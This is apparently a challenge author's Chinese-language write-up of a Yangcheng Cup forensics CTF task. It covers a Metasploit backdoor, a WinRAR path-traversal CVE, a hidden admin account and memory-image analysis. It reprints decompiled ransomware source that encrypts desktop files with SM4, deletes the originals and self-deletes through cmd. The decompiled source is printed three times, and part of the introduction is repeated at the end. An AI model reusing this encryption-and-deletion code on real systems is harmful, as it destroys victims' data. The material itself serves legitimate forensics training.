出题人碎碎念
致敬爱的ycb选手们:
出题人碎碎念
很荣幸这次能够作为出题人&运维参与到这次的羊城杯赛事中,我主要负责了两道misc题目,一个是《别笑,你试你也过不了第二关》,另一个就是取证题《你也是旮旯给木大师?》,第一题作为“简单”难度的题目,题解数还是比较可观,且网上也有一些相关的方法(特别是第二关),遂不在这进行WP的展示。而取证则与前一题形成了极大的差距,截止到比赛结束,四个赛道也仅有一个题解……
在这里必须给每位在《你也是旮旯给木大师?》中艰难奋斗过的选手说一声实在抱歉,出题人给您滑跪了ORZ 比赛过程中经过反思感觉题目的引导性还是不够直白,题目的设置也存在一定的歧义,镜像的处理还是不够完善,可能导致了部分选手走了许多的弯路,尽管后面给出了一些hint,也还是没有办法更多的推动选手们去完成这道题,真的很抱歉啊ORZ 你们能不能轻点骂呜呜呜
最后还是老样子,很开心有机会参与这次的出题,也是我第一次参与ycb的相关工作,希望明年能够好好努力,给大家出点真正好的题目(轻点骂轻点骂ORZ)
题目信息
题目名:你也是旮旯给木大师? 题目描述:我结识了一位自称喜欢旮旯给木的师傅,并从他那要来了一份整合包,殊不知这便是我踏入陷阱的开始……
1.攻击者用于提权的工具是? 2.攻击者用于维权的账户的账户名是? 3.攻击者在攻击过程中利用了某个CVE漏洞,其编号为? (示例: CVE-2024-3102) 4.攻击者通过某社交软件给受害者发送恶意压缩包的时间是? (示例: 14:52) 5.攻击者在恶意程序内藏有一串token,其值为? 6.绝密文件中含有一个重要密钥,其值是?
1Metasploit_heicker$_CVE-2025-6218_06:45_T1E2I6O4_MIE_CTF_2025_T0k3n_#S3cur3!V3#问题1 提权工具
题目附件如下,分别是一个压缩包,一个ciallo文件,一个memory内存镜像

先来观察一下压缩包,有三个点比较可疑,首先有一个launch.exe,然后最下面的文档说明了要用管理员模式进行启动,使用管理员模式启动的话就可能会执行一些需要管理员权限才能执行的操作,这里实际上是攻击者用来引导受害者的;而剩下的一个名字为空的目录看着比较奇怪

进入这个目录中分析,会发现他里面套了很多层目录,而且这个目录路径其实就是我们c盘用户目录中的启动项的目录路径,在Startup目录中存了一个Genshin.exe

将其提取出来,如果恰好你有开杀毒的话,也许他就会被查杀,这边可以看到火绒显示这是个后门病毒,而且显示为Meterpreter

将其丢给云沙箱,可以直接看到他其实是Metasploit家族的后门,实际上他是利用msf生成的一个后门payload,受害者将其解压到启动项目录后,每次开机都会自动启动这个程序,然后攻击者就可以通过其后门进行连接,然后执行一系列操作进行提权等恶意行为
所以问题1的提权工具是Metasploit

问题2 维权账户
攻击者在提权成功后,在受害者的系统中创建了对应的隐藏账户用于维持权限,并且清楚了命令记录,因此没有办法通过查询相关记录(net user)来直接搜寻隐藏账户,但事实上在win系统中,存在一个底层的可以记录所有账户包括影子账户的地方,那就是注册表。内存镜像中是会记录系统的注册表信息的,包括对应的键值,我们只需要去分析注册表中SAM里的键值即可,利用vol3中的windows.registry.printkey功能,导出SAM\Domains\Account\Users\Names的键值即可
1python vol.py -f ../memory windows.registry.printkey --key "SAM\Domains\Account\Users\Names"导出记录后,不难发现存在一个影子账户,名为heicker$,这就是攻击者用于维权的账户

问题3 CVE编号
攻击者在攻击过程中利用的cve漏洞实际上与问题1相关,前面我们可以看到压缩包里存在下面这么个奇妙的目录路径.. / .. /AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup
不难猜到这是一个目录穿越的操作,通过目录穿越定位到受害者的启动项目录,从而将恶意程序解压到启动项中

这部分的引导可能相对较少(不过好像可以非,Aura师傅找到了生成poc的压缩包名,里面有cve编号hhhh),实际上这里利用了今年的winrar目录穿越漏洞(CVE-2025-6218),在7.11版本以前的winrar中解压这个恶意压缩包就会将恶意程序解压到指定目录,从而遭到攻击
问题4 社交软件发送压缩包的时间
这题可能稍微难一点,出这问的契机是ycb的前一两周,咱们联队打了一个国外赛里面有一题取证,附件给了一个dwm.exe(桌面窗口管理器)的进程内存转储,用gimp或者lovelypixelweaver(伟大无需多言)进行查看,通过调整偏移可以看到桌面的窗口信息,从而拿到flag
所以这里我模仿了这道取证的做法,通过查看pslist可以看到qq进程是还在的,那说明可能可以看到对应的窗口情况,老样子用memmap提取他的内存转储,然后用lovelypixelweaver去看偏移即可
1 python vol.py -f ../memory windows.memmap --pid 424 --dump
但直到这里,这题还没结束,因为如果要去看窗口信息的话,我们还得调整宽度,而这个宽度,实际上就跟我们平时做图片隐写中调整图片宽度类似,如果宽度对应不上的话,那他的画面就没有办法正常显示,所以我们需要知道窗口的宽度,一般来说就是桌面的分辨率
但是本题系统的分辨率不是常规的大小,而是1718x926,所以关键是如何确认系统的分辨率

到这里就已经没有别的信息了,我们再看看附件的其他内容
回到前面的压缩包,简单分析可以发现这是个python打包的exe文件,版本为3.13,所以对其进行解包和反编译

反编译出源码后,可以发现他按照桌面大小设置了一张桌面,名字为wallpaper.png
1# Decompiled with PyLingual (https://pylingual.io)
2# Internal filename: launch.py
3# Bytecode version: 3.13.0rc3 (3571)
4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
5
6import ctypes
7import hashlib
8import subprocess
9import sys
10import time
11import win32serviceutil
12import win32service
13import win32event
14import servicemanager
15from PIL import Image, ImageDraw, ImageFont
16import random
17from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
18import Secr3ts
19import base64
20import os
21
22def get_screen_resolution():
23 user32 = ctypes.windll.user32
24 width = user32.GetSystemMetrics(0)
25 height = user32.GetSystemMetrics(1)
26 return (width, height)
27
28def create_wallpaper(width, height, text, subtext):
29 image = Image.new('RGB', (width, height), color=(0, 0, 0))
30 draw = ImageDraw.Draw(image)
31 try:
32 font = ImageFont.truetype('arial.ttf', 150)
33 bbox = draw.textbbox((0, 0), text, font=font)
34 text_width = bbox[2] - bbox[0]
35 text_height = bbox[3] - bbox[1]
36 position = ((width - text_width) // 2, (height - text_height) // 2)
37 draw.text(position, text, fill=(0, 255, 0), font=font)
38 subtext_font = ImageFont.truetype('arial.ttf', 50)
39 subtext_bbox = draw.textbbox((0, 0), subtext, font=subtext_font)
40 subtext_width = subtext_bbox[2] - subtext_bbox[0]
41 subtext_height = subtext_bbox[3] - subtext_bbox[1]
42 subtext_position = ((width - subtext_width) // 2, position[1] + text_height + 20)
43 draw.text(subtext_position, subtext, fill=(0, 255, 0), font=subtext_font)
44 for _ in range(100):
45 x = random.randint(0, width)
46 y = random.randint(0, height)
47 char = random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
48 color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
49 draw.text((x, y), char, fill=color, font=font)
50 sysRoot = os.path.expanduser('~')
51 picture = os.path.join(sysRoot, 'Pictures/')
52 image.save(picture + 'wallpaper.png')
53 except IOError:
54 font = ImageFont.load_default()
55
56def set_wallpaper():
57 SPI_SETDESKWALLPAPER = 20
58 sysRoot = os.path.expanduser('~')
59 picture = os.path.join(sysRoot, 'Pictures/')
60 WALLPAPER_PATH = picture + 'wallpaper.png'
61 ctypes.windll.user32.SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, WALLPAPER_PATH, 3)
62
63def cal_md5(image_path):
64 with open(image_path, 'rb') as fp:
65 data = fp.read()
66 file_md5 = hashlib.md5(data).hexdigest()
67 return file_md5
68SERVICE_NAME = None
69SERVICE_DISPLAY_NAME = None
70DUMMY_EXE_NAME = None
71SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
72DUMMY_EXE_PATH = os.path.join(None, DUMMY_EXE_NAME)
73
74class MySimpleService(win32serviceutil.ServiceFramework):
75 _svc_name_ = SERVICE_NAME
76 _svc_display_name_ = SERVICE_DISPLAY_NAME
77
78 def __init__(self, args):
79 win32serviceutil.ServiceFramework.__init__(self, args)
80 self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
81
82 def SvcStop(self):
83 self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
84 win32event.SetEvent(self.hWaitStop)
85
86 def SvcDoRun(self):
87 servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE, servicemanager.PYS_SERVICE_STARTED, (self._svc_name_, ''))
88 win32event.WaitForSingleObject(self.hWaitStop, win32event.INFINITE)
89
90def svc_register(key):
91 try:
92 with open(DUMMY_EXE_PATH, 'w') as f:
93 f.write(key.hex())
94 win32serviceutil.InstallService(pythonClassString=None, serviceName=SERVICE_NAME, displayName=SERVICE_DISPLAY_NAME, exeName=DUMMY_EXE_PATH)
95 except Exception as e:
96 print(f'安装失败: {e}')
97
98def custom_b64encode(data: bytes) -> bytes:
99 STANDARD_B64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
100 if getattr(sys, 'frozen', False):
101 base_path = sys._MEIPASS
102 exe_path = os.path.join(base_path, 'ab.exe')
103 subprocess.run([exe_path], check=False)
104 sysRoot = os.path.expanduser('~')
105 db_path = None
106 with open(db_path, 'rb') as f:
107 CUSTOM_B64 = f.read().strip()
108 std = base64.b64encode(data)
109 trans_table = bytes.maketrans(STANDARD_B64, CUSTOM_B64)
110 return std.translate(trans_table)
111
112def encrypt(iv: str, key, infile: str, outfile: str):
113 iv = bytes(iv, 'utf-8')
114 what = 'augabevoli'
115 xor_str = what[::(-1)].encode('utf-8')
116 xor_key = bytes([key[i] ^ xor_str[i % len(xor_str)] for i in range(len(key))])
117 svc_register(xor_key)
118 with open(infile, 'rb') as f:
119 data = f.read()
120 pad_len = 16 - len(data) % 16
121 data_padded = data + bytes([pad_len] * pad_len)
122 sm4 = CryptSM4()
123 sm4.set_key(key, SM4_ENCRYPT)
124 enc = sm4.crypt_cbc(iv, data_padded)
125 b64 = custom_b64encode(enc)
126 with open(outfile, 'wb') as f:
127 f.write(b64)
128 os.remove(infile)
129
130def encrypt_desktop():
131 file_types = ['txt', 'xlsx', 'docx', 'pptx', 'pdf']
132 key = os.urandom(16)
133 sysRoot = os.path.expanduser('~')
134 localRoot = os.path.join(sysRoot, 'Desktop/')
135 picture = os.path.join(sysRoot, 'Pictures/')
136 system = os.walk(localRoot, topdown=True)
137 for root, dir, files in system:
138 for file in files:
139 file_path = os.path.join(root, file)
140 if file.split('.')[(-1)] not in file_types:
141 continue
142 if file.split('.')[(-1)] == 'ciallo':
143 continue
144 b64_str = base64.urlsafe_b64encode(os.urandom(6)).decode()
145 encrypt(cal_md5(picture + 'wallpaper.png')[4:20], key, file_path, root + b64_str + '.ciallo')
146 dir_path = os.path.dirname(os.path.abspath(sys.argv[0]))
147 time.sleep(3)
148 cmd = f'cmd /c ping 127.0.0.1 -n 5 >nul && del /q \"{dir_path}\\*\"'
149 subprocess.Popen(cmd, shell=True)
150if __name__ == '__main__':
151 width, height = get_screen_resolution()
152 create_wallpaper(width, height, 'YOU\'VE BEEN HACKED', ' ')
153 set_wallpaper()
154 encrypt_desktop()
既然如此,我们用vol3扫一下文件,可以发现确实有这么一张图片

dump下来,看看属性就知道分辨率是多少了

根据分辨率去调整前面的参数,然后慢慢调整偏移即可找到qq窗口,在里面我们可以看到发送时间,为06:45

问题5 恶意程序中的token
恶意程序中的token,让我们再看看反编译出来的源码,明显发现这里导入了一个Secr3ts的库,所以我们需要去看看这个库里的代码是啥,注意这里用的是3.13进行打包,所以在解包过程中需要用3.13版本进行解包,否则没办法在PYZ.pyz_extracted目录中找到Secr3ts的pyc文件
1# Decompiled with PyLingual (https://pylingual.io)
2# Internal filename: launch.py
3# Bytecode version: 3.13.0rc3 (3571)
4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
5
6import ctypes
7import hashlib
8import subprocess
9import sys
10import time
11import win32serviceutil
12import win32service
13import win32event
14import servicemanager
15from PIL import Image, ImageDraw, ImageFont
16import random
17from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
18import Secr3ts # 很奇怪
19import base64
20import os
用https://pylingual.io/ 反编译一下,看看里面的代码,简单审计一下可以看到里面有一个G1f7函数,里面其实就是token值的一个输出,其他都是用来混淆的
1# Decompiled with PyLingual (https://pylingual.io)
2# Internal filename: Secr3ts.py
3# Bytecode version: 3.13.0rc3 (3571)
4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
5
6global _counter # inserted
7import time
8import random
9import hashlib
10import base64
11from functools import wraps
12
13def xor_bytes(data, key):
14 return bytes([b ^ key for b in data])
15CONFIG_VERSION = 'v3.1.9'
16_SYSTEM_ID = hashlib.sha1(b'noise').hexdigest()
17_magic_table = [(i * 37 ^ 85) & 255 for i in range(256)]
18
19class FakeCache:
20 def __init__(self):
21 self._store = {}
22
23 def set(self, k, v):
24 key = hashlib.md5(str(k).encode()).hexdigest()
25 self._store[key] = (v, time.time())
26
27 def get(self, k, default=None):
28 key = hashlib.md5(str(k).encode()).hexdigest()
29 v = self._store.get(key, (default, 0))[0]
30 return v
31
32 def purge_old(self, age=60):
33 now = time.time()
34 keys = list(self._store.keys())
35 for k in keys:
36 if now - self._store[k][1] > age:
37 pass # postinserted
38 else: # inserted
39 del self._store[k]
40_cache = FakeCache()
41
42def verbose_marker(name):
43 def deco(f):
44 @wraps(f)
45 def wrapped(*a, **kw):
46 h = hashlib.blake2b((name + str(a) + str(kw)).encode(), digest_size=6).hexdigest()
47 _cache.set('mark_' + name, h)
48 return f(*a, **kw)
49 return wrapped
50 return deco
51
52def poly_noise(x):
53 s = 0
54 for i in range(1, 16):
55 s += x ** i % (i + 7) * (i ^ 3)
56 return s
57
58def weird_transform(s):
59 a = s.encode('utf-8')
60 b = base64.b64encode(a).decode()
61 c = hashlib.sha1(b.encode()).hexdigest()
62 return c[:12]
63
64class PhantomStateMachine:
65 def __init__(self):
66 self.s = 0
67 self.history = []
68
69 def step(self, val):
70 self.s = self.s * 31 + (val ^ 85) & 4294967295
71 self.history.append(self.s)
72 return self.s
73
74 def snapshot(self):
75 return tuple(self.history[(-5):])
76
77 def reset(self):
78 self.s = 0
79 self.history.clear()
80_phantom = PhantomStateMachine()
81
82def pretend_network_send(payload):
83 time.sleep(0.001)
84 return {'status': 'ok', 'echo': hashlib.md5(payload.encode()).hexdigest()[:8]}
85
86def pretend_read_file(path):
87 try:
88 with open(path, 'rb') as f:
89 data = f.read(32)
90 return data
91 except Exception:
92 return b''
93
94def random_walk(seed, steps=100):
95 r = seed
96 for i in range(steps):
97 r = r << 1 | r >> 3 ^ i * 158
98 yield (r & 4294967295)
99
100def meaningless_loop():
101 acc = 0
102 for v in random_walk(66, 20):
103 acc ^= v & 255
104 if acc & 1:
105 pass # postinserted
106 else: # inserted
107 acc = acc << 1 & 4294967295
108 return acc
109
110def try_many_things():
111 try:
112 _ = int(hashlib.md5(b'x').hexdigest()[:6], 16)
113 return 'done'
114 except Exception:
115 for i in range(3):
116 continue
117 return 'done'
118 except:
119 return 'done'
120
121def fake_sorter(seq):
122 a = list(seq)
123 n = len(a)
124 for i in range(n):
125 for j in range(0, n - i - 1):
126 if a[j] ^ 170 > a[j + 1] ^ 170:
127 pass # postinserted
128 else: # inserted
129 a[j], a[j + 1] = (a[j + 1], a[j])
130 return a
131
132class Obfuscator:
133 def __init__(self, seed=4660):
134 self.seed = seed
135 self.table = [_ for _ in range(256)]
136 random.shuffle(self.table)
137
138 def mix(self, data):
139 return bytes([b ^ self.seed & 255 for b in data])
140
141 def heavy(self, data):
142 out = bytearray()
143 for i, b in enumerate(data):
144 out.append((b ^ self.table[i % 256]) & 255)
145 return bytes(out)
146_obf = Obfuscator(seed=21930)
147
148def f_a(x):
149 return (x * 7 ^ 5) & 255
150
151def f_b(x):
152 return (x + 13) % 256
153
154def f_c(x):
155 return x << 2 & 255
156_mystery_blob = ''.join((chr((i * 3 + 7) % 255) for i in range(512)))
157_counter = 0
158
159def orchestrator(flag=False):
160 global _counter # inserted
161 _counter += 1
162 if flag:
163 _cache.purge_old(age=1)
164 _phantom.step(_counter)
165 return _counter
166
167def G1f7(): # 有问题
168 what = '167307700b740d76'
169 xor_key = 66
170 orchestrator(flag=bool(len(what) % 2))
171 _cache.set('len_what', len(what))
172 token_bytes = xor_bytes(bytes.fromhex(what), xor_key)
173 token_clean = token_bytes
174 try:
175 token = token_clean.decode('utf-8')
176 _ = meaningless_loop()
177 pretend_network_send(token[:4])
178 print(token)
179 return token
180 except Exception:
181 token = token_clean.decode('latin1')
182
183def long_useless_procedure():
184 res = []
185 for i in range(50):
186 a = f_a(i)
187 b = f_b(i)
188 c = f_c(i)
189 res.append((a, b, c))
190 _phantom.step(i) if i % 7 == 3 else i
191 if i % 11 == 0:
192 pass # postinserted
193 else: # inserted
194 _cache.set('checkpoint_' + str(i), (a, b, c))
195 flat = [x for t in res for x in t]
196 s = sum(flat) & 65535
197 return hashlib.sha256(str(s).encode()).hexdigest()
198
199def nested_confusion(level):
200 if level <= 0:
201 pass # postinserted
202 return 0
203
204class RedHerring:
205 def __init__(self):
206 self.a = meaningless_loop()
207 self.b = long_useless_procedure()
208
209 def run(self):
210 for i in range(10):
211 _cache.set('rh' + str(i), (self.a, self.b, i))
212 _ = nested_confusion(i % 4)
213 return True
214_h1 = RedHerring()
215_h2 = RedHerring()
216_h3 = RedHerring()
217
218def generate_noise_strings(n=100):
219 out = []
220 for i in range(n):
221 cs = ''.join((chr((i * 37 + j * 11) % 127 + 32) for j in range(32)))
222 out.append(cs)
223 return out
224_noise_strings = generate_noise_strings(80)
225if __name__ == '__main__':
226 print('CONFIG', CONFIG_VERSION)
227 print('SYSID', _SYSTEM_ID[:12])
228 print('CACHE_SAMP', _cache.get('len_what'))
229 _h1.run()
230 _h2.run()
231 _ = long_useless_procedure()简单分析G1f7的代码,然后解出token即可,答案为T1E2I6O4
问题6 绝密文件的重要密钥
接着分析launch的源码,源码中存在部分None值,是刻意构造的,但可以通过代码中的逻辑来推断进行了什么操作
可以发现他实现了一个对桌面文件加密的功能,用的是sm4的cbc模式,并且还用了自定义的base64字母表
分析源码可以知道加密的偏移量(iv)是wallpaper的md5值取[4:20]的16位,然后key是随机生成的,生成后被经过异或存储到了一个未知文件中,且用这个文件建立了一个服务(svc_register)。而自定义的base64则是用一个ab.exe生成的
1# Decompiled with PyLingual (https://pylingual.io)
2# Internal filename: launch.py
3# Bytecode version: 3.13.0rc3 (3571)
4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
5
6import ctypes
7import hashlib
8import subprocess
9import sys
10import time
11import win32serviceutil
12import win32service
13import win32event
14import servicemanager
15from PIL import Image, ImageDraw, ImageFont
16import random
17from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
18import Secr3ts
19import base64
20import os
21
22def get_screen_resolution():
23 user32 = ctypes.windll.user32
24 width = user32.GetSystemMetrics(0)
25 height = user32.GetSystemMetrics(1)
26 return (width, height)
27
28def create_wallpaper(width, height, text, subtext):
29 image = Image.new('RGB', (width, height), color=(0, 0, 0))
30 draw = ImageDraw.Draw(image)
31 try:
32 font = ImageFont.truetype('arial.ttf', 150)
33 bbox = draw.textbbox((0, 0), text, font=font)
34 text_width = bbox[2] - bbox[0]
35 text_height = bbox[3] - bbox[1]
36 position = ((width - text_width) // 2, (height - text_height) // 2)
37 draw.text(position, text, fill=(0, 255, 0), font=font)
38 subtext_font = ImageFont.truetype('arial.ttf', 50)
39 subtext_bbox = draw.textbbox((0, 0), subtext, font=subtext_font)
40 subtext_width = subtext_bbox[2] - subtext_bbox[0]
41 subtext_height = subtext_bbox[3] - subtext_bbox[1]
42 subtext_position = ((width - subtext_width) // 2, position[1] + text_height + 20)
43 draw.text(subtext_position, subtext, fill=(0, 255, 0), font=subtext_font)
44 for _ in range(100):
45 x = random.randint(0, width)
46 y = random.randint(0, height)
47 char = random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
48 color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
49 draw.text((x, y), char, fill=color, font=font)
50 sysRoot = os.path.expanduser('~')
51 picture = os.path.join(sysRoot, 'Pictures/')
52 image.save(picture + 'wallpaper.png')
53 except IOError:
54 font = ImageFont.load_default()
55
56def set_wallpaper():
57 SPI_SETDESKWALLPAPER = 20
58 sysRoot = os.path.expanduser('~')
59 picture = os.path.join(sysRoot, 'Pictures/')
60 WALLPAPER_PATH = picture + 'wallpaper.png'
61 ctypes.windll.user32.SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, WALLPAPER_PATH, 3)
62
63def cal_md5(image_path):
64 with open(image_path, 'rb') as fp:
65 data = fp.read()
66 file_md5 = hashlib.md5(data).hexdigest()
67 return file_md5
68SERVICE_NAME = None
69SERVICE_DISPLAY_NAME = None
70DUMMY_EXE_NAME = None
71SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
72DUMMY_EXE_PATH = os.path.join(None, DUMMY_EXE_NAME)
73
74class MySimpleService(win32serviceutil.ServiceFramework):
75 _svc_name_ = SERVICE_NAME
76 _svc_display_name_ = SERVICE_DISPLAY_NAME
77
78 def __init__(self, args):
79 win32serviceutil.ServiceFramework.__init__(self, args)
80 self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
81
82 def SvcStop(self):
83 self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
84 win32event.SetEvent(self.hWaitStop)
85
86 def SvcDoRun(self):
87 servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE, servicemanager.PYS_SERVICE_STARTED, (self._svc_name_, ''))
88 win32event.WaitForSingleObject(self.hWaitStop, win32event.INFINITE)
89
90def svc_register(key):
91 try:
92 with open(DUMMY_EXE_PATH, 'w') as f:
93 f.write(key.hex())
94 win32serviceutil.InstallService(pythonClassString=None, serviceName=SERVICE_NAME, displayName=SERVICE_DISPLAY_NAME, exeName=DUMMY_EXE_PATH)
95 except Exception as e:
96 print(f'安装失败: {e}')
97
98def custom_b64encode(data: bytes) -> bytes:
99 STANDARD_B64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
100 if getattr(sys, 'frozen', False):
101 base_path = sys._MEIPASS
102 exe_path = os.path.join(base_path, 'ab.exe')
103 subprocess.run([exe_path], check=False)
104 sysRoot = os.path.expanduser('~')
105 db_path = None
106 with open(db_path, 'rb') as f:
107 CUSTOM_B64 = f.read().strip()
108 std = base64.b64encode(data)
109 trans_table = bytes.maketrans(STANDARD_B64, CUSTOM_B64)
110 return std.translate(trans_table)
111
112def encrypt(iv: str, key, infile: str, outfile: str):
113 iv = bytes(iv, 'utf-8')
114 what = 'augabevoli'
115 xor_str = what[::(-1)].encode('utf-8')
116 xor_key = bytes([key[i] ^ xor_str[i % len(xor_str)] for i in range(len(key))])
117 svc_register(xor_key)
118 with open(infile, 'rb') as f:
119 data = f.read()
120 pad_len = 16 - len(data) % 16
121 data_padded = data + bytes([pad_len] * pad_len)
122 sm4 = CryptSM4()
123 sm4.set_key(key, SM4_ENCRYPT)
124 enc = sm4.crypt_cbc(iv, data_padded)
125 b64 = custom_b64encode(enc)
126 with open(outfile, 'wb') as f:
127 f.write(b64)
128 os.remove(infile)
129
130def encrypt_desktop():
131 file_types = ['txt', 'xlsx', 'docx', 'pptx', 'pdf']
132 key = os.urandom(16)
133 sysRoot = os.path.expanduser('~')
134 localRoot = os.path.join(sysRoot, 'Desktop/')
135 picture = os.path.join(sysRoot, 'Pictures/')
136 system = os.walk(localRoot, topdown=True)
137 for root, dir, files in system:
138 for file in files:
139 file_path = os.path.join(root, file)
140 if file.split('.')[(-1)] not in file_types:
141 continue
142 if file.split('.')[(-1)] == 'ciallo':
143 continue
144 b64_str = base64.urlsafe_b64encode(os.urandom(6)).decode()
145 encrypt(cal_md5(picture + 'wallpaper.png')[4:20], key, file_path, root + b64_str + '.ciallo')
146 dir_path = os.path.dirname(os.path.abspath(sys.argv[0]))
147 time.sleep(3)
148 cmd = f'cmd /c ping 127.0.0.1 -n 5 >nul && del /q \"{dir_path}\\*\"'
149 subprocess.Popen(cmd, shell=True)
150if __name__ == '__main__':
151 width, height = get_screen_resolution()
152 create_wallpaper(width, height, 'YOU\'VE BEEN HACKED', ' ')
153 set_wallpaper()
154 encrypt_desktop()wallpaper前面已经获得了,直接计算md5即可(要记得清掉后面的空白冗余数据)
而key则需要对内存镜像进行分析,找出奇怪的服务(因为代码中没有给出服务的信息)
用vol3中windows.svclist这个命令扫一遍镜像中的服务,简单分析一下,可以看到一个奇怪的进程(甚至在第一行),其指向了一个在system32目录中的一个exe文件

将其dump下来,查看一下内容,可以看到就是我们要的被处理过的key,然后根据源码中的逻辑异或会正确的key即可

最后是base64的字母表,在解包后的目录中可以找到ab.exe

用ida简单分析即可,进去就是main函数,不懂得直接丢给ai,可以知道这里是生成了一个固定头的随机base64字母表,并存入了一个文件中,但是不知道是哪个文件,但既然知道固定了头是Cial1oL5s0cut3,而且代码中没有奇怪的加密或者混淆处理,那么直接对内存进行搜索

直接拿010爆搜即可,就能找到完整的自定义字母表了

最后自己写个脚本解密即可
1from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT
2import base64
3
4key = 'e1287afc7a0526ea7f55774192fd8c5a'
5key = bytes.fromhex(key)
6print(key.hex())
7iv = b'47284e7609e7017d'
8
9what = 'augabevoli'
10xor_str = what[::-1].encode('utf-8')
11xor_key = bytes([key[i] ^ xor_str[i % len(xor_str)] for i in range(len(key))])
12print('XOR 后的 key:', xor_key.hex())
13
14STANDARD_B64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
15CUSTOM_B64 = b'Cial1oL5s0cut3PTYwZMy/BRWIdGfJSNmj2Fq4QhneXH9v8rx6O+Vz7KbAgUkDpE'
16
17
18def custom_b64decode(data: bytes) -> bytes:
19 trans_table = bytes.maketrans(CUSTOM_B64, STANDARD_B64)
20 std = data.translate(trans_table)
21 return base64.b64decode(std)
22
23
24def sm4_decrypt_file(infile: str, outfile: str):
25 with open(infile, 'rb') as f:
26 data = custom_b64decode(f.read())
27 sm4 = CryptSM4()
28 sm4.set_key(key, SM4_DECRYPT)
29 dec = sm4.crypt_cbc(iv, data)
30 dec = dec.rstrip(b'\x00')
31 with open(outfile, 'wb') as f:
32 f.write(dec)
33 print(f'文件已解密 → {outfile}')
34
35
36sm4_decrypt_file('绝密.ciallo', 'recover.pdf')恢复完成后,打开pdf文档即可看到里面的密钥,值为MIE_CTF_2025_T0k3n_#S3cur3!V3#
致敬爱的ycb选手们:
出题人碎碎念
很荣幸这次能够作为出题人&运维参与到这次的羊城杯赛事中,我主要负责了两道misc题目,一个是《别笑,你试你也过不了第二关》,另一个就是取证题《你也是旮旯给木大师?》,第一题作为“简单”难度的题目,题解数还是比较可观,且网上也有一些相关的方法(特别是第二关),遂不在这进行WP的展示。而取证则与前一题形成了极大的差距,截止到比赛结束,四个赛道也仅有一个题解……
在这里必须给每位在《你也是旮旯给木大师?》中艰难奋斗过的选手说一声实在抱歉,出题人给您滑跪了ORZ 比赛过程中经过反思感觉题目的引导性还是不够直白,题目的设置也存在一定的歧义,镜像的处理还是不够完善,可能导致了部分选手走了许多的弯路,尽管后面给出了一些hint,也还是没有办法更多的推动选手们去完成这道题,真的很抱歉啊ORZ 你们能不能轻点骂呜呜呜
最后还是老样子,很开心有机会参与这次的出题,也是我第一次参与ycb的相关工作,希望明年能够好好努力,给大家出点真正好的题目(轻点骂轻点骂ORZ)
题目信息
题目名:你也是旮旯给木大师? 题目描述:我结识了一位自称喜欢旮旯给木的师傅,并从他那要来了一份整合包,殊不知这便是我踏入陷阱的开始……
1.攻击者用于提权的工具是? 2.攻击者用于维权的账户的账户名是? 3.攻击者在攻击过程中利用了某个CVE漏洞,其编号为? (示例: CVE-2024-3102) 4.攻击者通过某社交软件给受害者发送恶意压缩包的时间是? (示例: 14:52) 5.攻击者在恶意程序内藏有一串token,其值为? 6.绝密文件中含有一个重要密钥,其值是?
1Metasploit_heicker$_CVE-2025-6218_06:45_T1E2I6O4_MIE_CTF_2025_T0k3n_#S3cur3!V3#问题1 提权工具
题目附件如下,分别是一个压缩包,一个ciallo文件,一个memory内存镜像

先来观察一下压缩包,有三个点比较可疑,首先有一个launch.exe,然后最下面的文档说明了要用管理员模式进行启动,使用管理员模式启动的话就可能会执行一些需要管理员权限才能执行的操作,这里实际上是攻击者用来引导受害者的;而剩下的一个名字为空的目录看着比较奇怪

进入这个目录中分析,会发现他里面套了很多层目录,而且这个目录路径其实就是我们c盘用户目录中的启动项的目录路径,在Startup目录中存了一个Genshin.exe

将其提取出来,如果恰好你有开杀毒的话,也许他就会被查杀,这边可以看到火绒显示这是个后门病毒,而且显示为Meterpreter

将其丢给云沙箱,可以直接看到他其实是Metasploit家族的后门,实际上他是利用msf生成的一个后门payload,受害者将其解压到启动项目录后,每次开机都会自动启动这个程序,然后攻击者就可以通过其后门进行连接,然后执行一系列操作进行提权等恶意行为
所以问题1的提权工具是Metasploit

问题2 维权账户
攻击者在提权成功后,在受害者的系统中创建了对应的隐藏账户用于维持权限,并且清楚了命令记录,因此没有办法通过查询相关记录(net user)来直接搜寻隐藏账户,但事实上在win系统中,存在一个底层的可以记录所有账户包括影子账户的地方,那就是注册表。内存镜像中是会记录系统的注册表信息的,包括对应的键值,我们只需要去分析注册表中SAM里的键值即可,利用vol3中的windows.registry.printkey功能,导出SAM\Domains\Account\Users\Names的键值即可
1python vol.py -f ../memory windows.registry.printkey --key "SAM\Domains\Account\Users\Names"导出记录后,不难发现存在一个影子账户,名为heicker$,这就是攻击者用于维权的账户

问题3 CVE编号
攻击者在攻击过程中利用的cve漏洞实际上与问题1相关,前面我们可以看到压缩包里存在下面这么个奇妙的目录路径.. / .. /AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup
